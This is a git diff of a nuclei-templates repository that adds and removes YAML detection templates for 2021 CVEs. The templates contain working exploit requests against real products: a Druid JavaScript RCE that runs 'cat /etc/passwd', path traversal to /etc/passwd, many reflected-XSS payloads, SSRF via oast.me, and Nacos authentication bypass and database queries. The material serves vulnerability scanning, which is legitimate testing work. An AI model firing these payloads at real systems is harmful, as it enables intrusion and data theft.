lacks authorization and authentication by default. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server. - tags: cve,cve2021,apache,rce,druid - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.80 - cve-id: CVE-2021-25646 - cwe-id: CWE-732 - -requests: - - raw: - - | - POST /druid/indexer/v1/sampler HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - { - "type":"index", - "spec":{ - "ioConfig":{ - "type":"index", - "firehose":{ - "type":"local", - "baseDir":"/etc", - "filter":"passwd" - } - }, - "dataSchema":{ - "dataSource":"odgjxrrrePz", - "parser":{ - "parseSpec":{ - "format":"javascript", - "timestampSpec":{ - - }, - "dimensionsSpec":{ - - }, - "function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}", - "":{ - "enabled":"true" - } - } - } - } - }, - "samplerConfig":{ - "numRows":10 - } - } - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "application/json" - part: header - - - type: word - words: - - "numRowsRead" - - "numRowsIndexed" - part: body - condition: and - - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2021/cve-2021-25864.yaml b/nuclei-templates/CVE-2021/cve-2021-25864.yaml deleted file mode 100644 index bc05723232..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-25864.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2021-25864 - -info: - name: Hue Magic - Directory Traversal - author: 0x_Akoko - severity: high - description: node-red-contrib-huemagic 3.0.0 is affected by hue/assets/..%2F Directory Traversal.in the res.sendFile API, used in file hue-magic.js, to fetch an arbitrary file. - reference: - - https://github.com/Foddy/node-red-contrib-huemagic/issues/217 - - https://www.cvedetails.com/cve/CVE-2021-25864 - metadata: - shodan-query: title:"NODE-RED" - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-25864 - cwe-id: CWE-22 - tags: cve,cve2021,huemagic,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-26084.yaml b/nuclei-templates/CVE-2021/cve-2021-26084.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-26084.yaml rename to nuclei-templates/CVE-2021/cve-2021-26084.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-26722.yaml b/nuclei-templates/CVE-2021/cve-2021-26722.yaml new file mode 100644 index 0000000000..72c53cc241 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-26722.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-26722 + +info: + name: LinkedIn Oncall 1.4.0 XSS + author: pikpikcu + severity: medium + description: LinkedIn Oncall through 1.4.0 allows reflected XSS via /query because of mishandling of the "No results found for" message in the search bar. + reference: https://github.com/linkedin/oncall/issues/341 + tags: cve,cve2021,linkedin,xss + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-26722 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/query/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/all" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-26812.yaml b/nuclei-templates/CVE-2021/cve-2021-26812.yaml new file mode 100644 index 0000000000..5fbda4f90e --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-26812.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-26812 + +info: + name: Moodle jitsi plugin XSS + author: aceseven (digisec360) + description: Cross Site Scripting (XSS) in the Jitsi Meet 2.7 through 2.8.3 plugin for Moodle via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject javascript code to be run by the application. + severity: medium + tags: cve,cve2021,moodle,jitsi,xss,plugin + reference: + - https://github.com/udima-university/moodle-mod_jitsi/issues/67 + - https://nvd.nist.gov/vuln/detail/CVE-2021-26812 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-26812 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "alert(document.domain);" + + - type: status + status: + - 200 + + - type: word + part: header + words: + - "MoodleSession" diff --git a/nuclei-templates/CVE-2021/cve-2021-27309.yaml b/nuclei-templates/CVE-2021/cve-2021-27309.yaml deleted file mode 100644 index f8a8753b88..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-27309.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2021-27309 - -info: - name: Clansphere CMS 2011.4 - Cross-Site Scripting - author: edoardottt - severity: medium - description: | - Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability. - reference: - - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309 - - https://nvd.nist.gov/vuln/detail/CVE-2021-27309 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-27309 - cwe-id: CWE-79 - epss-score: 0.00106 - epss-percentile: 0.42925 - cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: csphere - product: clansphere - tags: cve2021,cve,clansphere,xss,cms,unauth,csphere - -http: - - method: GET - path: - - "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22>" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '">.php' - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 -# digest: 4a0a0047304502205b00fbd835bf6365747ca455e3baf330c2bf123afee61ae0f8981aa1dab11857022100ef6c2c713eaa742043860a3f65409516d36de9988dd7053879e71c4db8f4a572:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-27330.yaml b/nuclei-templates/CVE-2021/cve-2021-27330.yaml new file mode 100644 index 0000000000..4f26fcca3a --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-27330.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-27330 + +info: + name: Triconsole 3.75 XSS + author: pikpikcu + severity: medium + description: Triconsole Datepicker Calendar <3.77 is affected by cross-site scripting (XSS) in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents. + reference: https://www.exploit-db.com/exploits/49597 + tags: cve,cve2021,triconsole,xss + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-27330 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/calendar_form.php/">' + matchers-condition: and + matchers: + + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-27358.yaml b/nuclei-templates/CVE-2021/cve-2021-27358.yaml deleted file mode 100644 index 14dbaa1238..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-27358.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2021-27358 - -info: - author: pdteam - name: Grafana unauthenticated snapshot creation - severity: high - description: The snapshot feature in Grafana 6.7.3 through 7.4.1 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set. - reference: - - https://phabricator.wikimedia.org/T274736 - - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-27358 - tags: cve,cve2021,grafana,unauth - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - cvss-score: 7.50 - cve-id: CVE-2021-27358 - -requests: - - raw: - - | - POST /api/snapshots HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600} - - matchers-condition: and - matchers: - - part: body - type: word - words: - - '"deleteUrl":' - - '"deleteKey":' - condition: and - - - type: word - part: header - words: - - "application/json" diff --git a/nuclei-templates/CVE-2021/cve-2021-27519.yaml b/nuclei-templates/CVE-2021/cve-2021-27519.yaml new file mode 100644 index 0000000000..459b0599d6 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-27519.yaml @@ -0,0 +1,55 @@ +id: CVE-2021-27519 + +info: + name: FUDForum 3.1.0 - Cross-Site Scripting + author: kh4sh3i + severity: medium + description: | + FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter. + impact: | + Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. + remediation: | + Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability. + reference: + - https://www.exploit-db.com/exploits/49942 + - https://github.com/fudforum/FUDforum/issues/2 + - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-27519 + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-27519 + cwe-id: CWE-79 + epss-score: 0.00217 + epss-percentile: 0.59015 + cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: fudforum + product: fudforum + shodan-query: 'http.html:"Powered by: FUDforum"' + tags: cve2021,cve,xss,fudforum,edb,packetstorm + +http: + - method: GET + path: + - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'highlightSearchTerms("x" onmouseover=alert(1) x="");' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 4a0a00473045022100f69ec7d4711d599dd40f92495d22b5d93ac3a8db167fe425f7b024ff41d888c5022030ad77de1858a49de1ff57b58e699741fa419442f186dd2a419fa4f433ee8138:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-27748.yaml b/nuclei-templates/CVE-2021/cve-2021-27748.yaml new file mode 100644 index 0000000000..471a3628f9 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-27748.yaml @@ -0,0 +1,48 @@ +id: CVE-2021-27748 + +info: + name: IBM WebSphere HCL Digital Experience - Server-Side Request Forgery + author: pdteam + severity: high + description: | + IBM WebSphere HCL Digital Experience is vulnerable to server-side request forgery that impacts on-premise deployments and containers. + impact: | + Successful exploitation of this vulnerability could allow an attacker to bypass security controls, access internal resources, and potentially perform further attacks. + remediation: | + Apply the latest security patches or updates provided by IBM to mitigate this vulnerability. + reference: + - https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/ + - https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0095665 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27748 + classification: + cve-id: CVE-2021-27748 + metadata: + verified: true + max-request: 3 + shodan-query: http.html:"IBM WebSphere Portal" + tags: cve2021,cve,hcl,ibm,ssrf,websphere + +http: + - method: GET + path: + - '{{BaseURL}}' + - '{{BaseURL}}/docpicker/internal_proxy/http/oast.me' + - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/oast.me' + + host-redirects: true + max-redirects: 2 + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Interactsh Server" + + - type: word + part: body_1 + words: + - "Interactsh Server" + negative: true +# digest: 490a0046304402200ba3597e1cd51ea49029981ba317f0f962cc8082d2f3796e4d59fc9138bf9d9d0220226c8cb7207a0c85488b5ce96a38f6e0b616ebb9b487135b1fda864f9d6503d2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-28164.yaml b/nuclei-templates/CVE-2021/cve-2021-28164.yaml deleted file mode 100644 index 35d226536b..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-28164.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2021-28164 - -info: - name: Jetty Authorization Before Parsing and Canonicalization - author: noamrathaus - severity: medium - description: | - The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. For example a request to /context/%2e/WEB-INF/web.xml can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application. - reference: - - https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5 - - https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty - tags: cve,cve2021,jetty - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2021-28164 - cwe-id: CWE-200 - -requests: - - method: GET - path: - - "{{BaseURL}}/%2e/WEB-INF/web.xml" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "    " - - "java.sun.com" - part: body - condition: and - - - type: word - part: header - words: - - "application/xml" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-28169.yaml b/nuclei-templates/CVE-2021/cve-2021-28169.yaml new file mode 100644 index 0000000000..2c4b5ba010 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-28169.yaml @@ -0,0 +1,42 @@ +id: CVE-2021-28169 + +info: + name: Jetty Utility Servlets Information Disclosure + author: pikpikcu + severity: medium + reference: + - https://twitter.com/sec715/status/1406787963569065988 + - https://nvd.nist.gov/vuln/detail/CVE-2021-28169 + description: | + For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory. + tags: cve,cve2021,jetty + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.30 + cve-id: CVE-2021-28169 + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/static?/%2557EB-INF/web.xml" + - "{{BaseURL}}/concat?/%2557EB-INF/web.xml" + + matchers-condition: and + matchers: + + - type: word + words: + - "application/xml" + part: header + + - type: word + words: + - "" + - "java.sun.com" + part: body + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-29156.yaml b/nuclei-templates/CVE-2021/cve-2021-29156.yaml deleted file mode 100644 index fa05456c95..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-29156.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2021-29156 - -info: - name: LDAP Injection In OpenAM - author: melbadry9,xelkomy - severity: high - tags: cve,cve2021,openam,ldap,injection - description: OpenAM contains an LDAP injection vulnerability. When a user tries to reset his password, they are asked to enter username, and then the backend validates whether the user exists or not through an LDAP query. If the user exists, the password reset token is sent to the user's email. Enumeration can allow for full password retrieval. - remediation: Upgrade to OpenAM commercial version 13.5.1 or later. - reference: - https://github.com/sullo/advisory-archives/blob/master/Forgerock_OpenAM_LDAP_injection.md - https://hackerone.com/reports/1278050 - https://www.guidepointsecurity.com/blog/ldap-injection-in-forgerock-openam-exploiting-cve-2021-29156/ - https://portswigger.net/research/hidden-oauth-attack-vectors - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2021-29156 - cwe-id: CWE-74 - -requests: - - method: GET - path: - - "{{BaseURL}}/openam/ui/PWResetUserValidation" - - "{{BaseURL}}/OpenAM-11.0.0/ui/PWResetUserValidation" - - "{{BaseURL}}/ui/PWResetUserValidation" - - matchers: - - type: dsl - dsl: - - 'contains(body, "jato.pageSession") && status_code==200' - -# Enhanced by cs on 2022/01/24 diff --git a/nuclei-templates/CVE-2021/cve-2021-29441.yaml b/nuclei-templates/CVE-2021/cve-2021-29441.yaml new file mode 100644 index 0000000000..87203f1c21 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-29441.yaml @@ -0,0 +1,54 @@ +id: CVE-2021-29441 + +info: + name: Nacos prior to 1.4.1 Authentication Bypass + description: | + This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5. + + In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) + Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that + enables Nacos servers to bypass this filter and therefore skip authentication checks. + This mechanism relies on the user-agent HTTP header so it can be easily spoofed. + This issue may allow any user to carry out any administrative tasks on the Nacos server. + author: dwisiswant0 + severity: critical + reference: https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ + tags: nacos,auth-bypass,cve,cve2021 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-29441 + cwe-id: CWE-290 + +requests: + - raw: + - | + POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + - | + POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 + Host: {{Hostname}} + Accept: */* + User-Agent: Nacos-Server + + req-condition: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - "status_code_1 == 403" + - "status_code_2 == 200" + condition: and + + - type: dsl + dsl: + - "contains(body_1, 'Forbidden')" + - "body_2 == 'true'" + condition: and + + - type: word + words: + - "application/json" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-29442.yaml b/nuclei-templates/CVE-2021/cve-2021-29442.yaml new file mode 100644 index 0000000000..7b61103f73 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-29442.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-29442 + +info: + name: Nacos prior to 1.4.1 Missing Authentication Check + description: | + In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. + While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. + These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql) + author: dwisiswant0 + severity: high + reference: https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ + tags: nacos,auth-bypass,cve,cve2021 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2021-29442 + cwe-id: CWE-306 + +requests: + - method: GET + path: + - "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "application/json" + part: header + - type: regex + regex: + - "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\"" + part: body diff --git a/nuclei-templates/CVE-2021/cve-2021-29622.yaml b/nuclei-templates/CVE-2021/cve-2021-29622.yaml deleted file mode 100644 index 95b34e9478..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-29622.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: CVE-2021-29622 - -info: - name: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect - author: geeknik - description: In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint. - reference: https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7 - severity: medium - tags: cve,cve2021,prometheus,redirect - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-29622 - cwe-id: CWE-601 - -requests: - - method: GET - path: - - "{{BaseURL}}/new/newhttp://example.com" - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' - part: header diff --git a/nuclei-templates/CVE-2021/cve-2021-29625.yaml b/nuclei-templates/CVE-2021/cve-2021-29625.yaml new file mode 100644 index 0000000000..d5e3bd655d --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-29625.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-29625 + +info: + name: Adminer reflected XSS via the table parameter + author: daffainfo + description: Adminer is open-source database management software. A cross-site scripting vulnerability in Adminer versions 4.6.1 to 4.8.0 affects users of MySQL, MariaDB, PgSQL and SQLite. XSS is in most cases prevented by strict CSP in all modern browsers. The only exception is when Adminer is using a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). In browsers without CSP, Adminer versions 4.6.1 to 4.8.0 are affected. The vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). + severity: medium + reference: + - https://sourceforge.net/p/adminer/bugs-and-features/797/ + - https://www.cvedetails.com/cve/CVE-2021-29625/ + tags: cve,cve2021,adminer,xss + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-29625 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-30049.yaml b/nuclei-templates/CVE-2021/cve-2021-30049.yaml new file mode 100644 index 0000000000..5903e45821 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-30049.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-30049 + +info: + name: SysAid Technologies 20.3.64 b14 Reflected XSS + author: daffainfo + severity: medium + description: SysAid 20.3.64 b14 is affected by Cross Site Scripting (XSS) via a /KeepAlive.jsp?stamp= URI. + reference: + - https://eh337.net/2021/03/30/sysaid/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30049 + tags: cve,cve2021,xss + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-30049 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-30151.yaml b/nuclei-templates/CVE-2021/cve-2021-30151.yaml deleted file mode 100644 index c1251e9592..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-30151.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2021-30151 - -info: - name: CVE-2021-30151 - author: DhiyaneshDk - severity: medium - description: Sidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used. - reference: - - https://github.com/mperham/sidekiq/issues/4852 - - https://nvd.nist.gov/vuln/detail/CVE-2021-30151 - tags: cve,cve2021,xss,sidekiq - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-30151 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/sidekiq/queues/"onmouseover="alert(nuclei)"' - matchers-condition: and - matchers: - - type: word - part: body - words: - - "onmouseover=\"alert('nuclei')" - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-3017.yaml b/nuclei-templates/CVE-2021/cve-2021-3017.yaml new file mode 100644 index 0000000000..5a60c6d460 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-3017.yaml @@ -0,0 +1,39 @@ +id: CVE-2021-3017 + +info: + name: Intelbras WIN 300/WRN 342 Disclosure + author: pikpikcu + severity: high + description: The web interface on Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code. + reference: + - https://poc.wgpsec.org/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Intelbras/Intelbras%20Wireless%20%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8E%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%20CVE-2021-3017.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-3017 + tags: cve,cve2021,exposure,router + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2021-3017 + +requests: + - method: GET + path: + - "{{BaseURL}}/index.asp" + + matchers-condition: and + matchers: + - type: word + words: + - 'def_wirelesspassword =' + - 'Roteador Wireless' + part: body + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + regex: + - 'def_wirelesspassword = "([A-Za-z0-9=]+)";' diff --git a/nuclei-templates/CVE-2021/CVE-2021-3019.yaml b/nuclei-templates/CVE-2021/cve-2021-3019.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-3019.yaml rename to nuclei-templates/CVE-2021/cve-2021-3019.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-31249.yaml b/nuclei-templates/CVE-2021/cve-2021-31249.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-31249.yaml rename to nuclei-templates/CVE-2021/cve-2021-31249.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-31250.yaml b/nuclei-templates/CVE-2021/cve-2021-31250.yaml new file mode 100644 index 0000000000..da104e45c7 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-31250.yaml @@ -0,0 +1,33 @@ +id: CVE-2021-31250 + +info: + name: CHIYU IoT XSS + author: geeknik + description: Several versions and models of CHIYU IoT devices are vulnerable to multiple Cross-Site Scripting flaws. + reference: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250 + severity: medium + tags: cve,cve2021,chiyu,xss,iot + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.40 + cve-id: CVE-2021-31250 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY" + headers: + Authorization: "Basic OmFkbWlu" + + redirects: true + matchers-condition: and + matchers: + - type: word + part: header + words: + - "text/html" + - type: word + part: body + words: + - "\">" diff --git a/nuclei-templates/CVE-2021/cve-2021-3129.yaml b/nuclei-templates/CVE-2021/cve-2021-3129.yaml new file mode 100644 index 0000000000..30d25808bb --- /dev/null +++ 